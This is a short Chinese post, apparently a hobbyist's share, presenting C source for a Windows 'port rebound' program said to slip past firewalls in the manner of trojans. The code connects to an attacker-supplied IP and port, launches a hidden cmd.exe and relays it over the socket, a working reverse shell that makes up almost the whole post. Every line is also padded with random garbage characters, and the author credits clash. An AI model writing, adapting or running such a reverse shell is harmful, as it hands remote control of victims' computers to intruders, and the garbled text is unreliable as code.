Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 |B1;l<|`  
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/* ============================== "3Xv%U9@  
Rebound port in Windows NT <9d-Hz  
By wind,2006/7 ,yM}]pwlB  
===============================*/ IB#iJ#,  
#include bU:}ZO^S  
#include 2Pem%HE~P  
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#pragma comment(lib,"wsock32.lib") =;k+g?.@I  
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void OutputShell(); fOK+DT~  
SOCKET sClient; 9Ew:.&d  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O7'<I|aD  
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void main(int argc,char **argv) MR?*GI's  
{ [B"dH-r7  
WSADATA stWsaData; Mf;|z0UX  
int nRet; Uaus>Frx.T  
SOCKADDR_IN stSaiClient,stSaiServer; #4P3xa  
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if(argc != 3) {XDY:`vZ}  
{ Uxk[O  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]M+VSU  
return; ==h|+NFa  
} :~ZqB\>i  

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WSAStartup(MAKEWORD(2,2),&stWsaData); QX/X {h6  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;LQ# *NjL\  
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stSaiClient.sin_family = AF_INET; PkPDVv  
stSaiClient.sin_port = htons(0); (<bm4MPf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d%#!nq{vd  
c|\ZRBdI  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \uU=O )  
{ #hD}S~  
printf("Bind Socket Failed!\n"); LC,*H0  
return; V9fGVDl;  
} +{")E)  
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stSaiServer.sin_family = AF_INET; T}L^CU0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5|<yfk8*J  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "EcX
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &dhcKO<4  
{ nabBU4;h  
printf("Connect Error!"); 93W  
return; /~3N@J  
} y*VQ]aJ  
OutputShell(); F`Dg*O  
} ]^J+
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void OutputShell() KGV.S  
{ 54q4CagFq  
char szBuff[1024]; H&w:`JYDL3  
SECURITY_ATTRIBUTES stSecurityAttributes; V=j-Um;  
OSVERSIONINFO stOsversionInfo; GBH_r0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w/b>awI  
STARTUPINFO stStartupInfo; =jg#fdM -  
char *szShell; ..t,LU@|  
PROCESS_INFORMATION stProcessInformation; Y7<zm}=(/  
unsigned long lBytesRead; Vq3gceo'0A  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &8[ZN$Xe"  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !c3```*  
stSecurityAttributes.lpSecurityDescriptor = 0; :a_BD  
stSecurityAttributes.bInheritHandle = TRUE; ?z2jk  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q,[k7&HS  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C`\9cej  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $> "J"IX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uije#cj#O  
stStartupInfo.wShowWindow = SW_HIDE; j$3rJA%rN  
stStartupInfo.hStdInput = hReadPipe; %KGq*|GUu  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; si_W:mLF{a  
c |>=S)|  
GetVersionEx(&stOsversionInfo); KcC!N{  
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switch(stOsversionInfo.dwPlatformId) ,N53Iic  
{ &
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case 1: "-w^D!C  
szShell = "command.com"; rRB~=J"  
break; \HAJ\9*w)  
default: sX+`wc  
szShell = "cmd.exe"; kOw=c Gt  
break; J,f/fPaf7  
} AY#wVy  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <fN; xIB  
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send(sClient,szMsg,77,0); taweGc%~  
while(1) Vclr)}5  
{ KQ&Y2l1*>>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PK_s#uC  
if(lBytesRead) otO j^xU  
{ I,b9t\(6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W{ fZ[z  
send(sClient,szBuff,lBytesRead,0); @}Zd (o  
} l3.  
else vA=Z=8  
{ T-'~?[v  
lBytesRead=recv(sClient,szBuff,1024,0); ow$q7uf  
if(lBytesRead<=0) break; ^i+[m  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]
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} >!L&>OOx  
} [E7MsX  
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return; K/txD20 O|  
}